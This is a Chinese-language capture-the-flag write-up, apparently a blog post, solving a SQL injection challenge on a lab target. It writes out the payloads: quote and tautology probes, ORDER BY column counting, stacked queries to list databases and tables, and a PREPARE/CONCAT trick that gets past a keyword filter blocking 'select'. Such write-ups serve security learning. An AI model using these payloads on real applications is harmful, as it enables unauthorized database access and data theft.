type
status
date
slug
summary
tags
category
icon
password
@ZZHow(ZZHow1024)
SQL Injection(SQL注入)类
含义:把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。
思路:判断是否存在注入,注入命令查询数据
实操:
1、启动靶机,观察题目界面
- 发现是一个文本框,像是查询什么东西。
- 怀疑可能是SQL注入,好吧,标题已经说了是“随便注”,就是SQL注入了。
2、随便尝试提交一下
- 观察到URL后多了 /?inject=1
- 是GET方法,存在一个可以修改的参数。
3、在填入的内容结尾加上’(单引号),判断是不是SQL,且是否可以注入
- 文本框内输入 1’
- 点击提交
- 出现SQL报错。
- error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
- 证明可以尝试SQL注入
- 构建恒”真“语句,判断注入类型
- 1 or 9=9
- 只返回inject=1的内容
- 1’ or ‘9’=’9
- 返回了多组内容
- 判断为字符型注入
4、按照套路来,判断字段数,查database、查table、查column…
- 使用
order by
x
命令判断字段数 - 构建:1' order by 3#
- 发现当order by 3时,提示 error 1054 : Unknown column '3' in 'order clause'
- 当order by 2时,无报错
- 判断出字段数为2
- 使用联合查询
union select
x
,
x
命令判断显示位 - 将inject改为查不到数据的大小
- 构建:-1' union select 1,2#
- return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
- 好家伙,select|update|delete|drop|insert|where,这些语句全被过滤了。
- 老的套路行不通。
5、新方法,“堆叠注入”
- 查看数据库名:1';show databases;#
- 查看表名:1';show tables;#
- 查看"1919810931114514"表的详细信息:1';desc `1919810931114514`;#
- 注意:如果tableName是纯数字,需要用反引号 ` ` 包裹
- 发现flag!
6、想办法查看flag
- 无法直接用select语句,我们可以通过预编译的方式拼接select 关键字:
- 1';PREPARE abc from concat('s','elect', ' * from `1919810931114514` ');EXECUTE abc;#
7、解题成功!
- 获得Flag!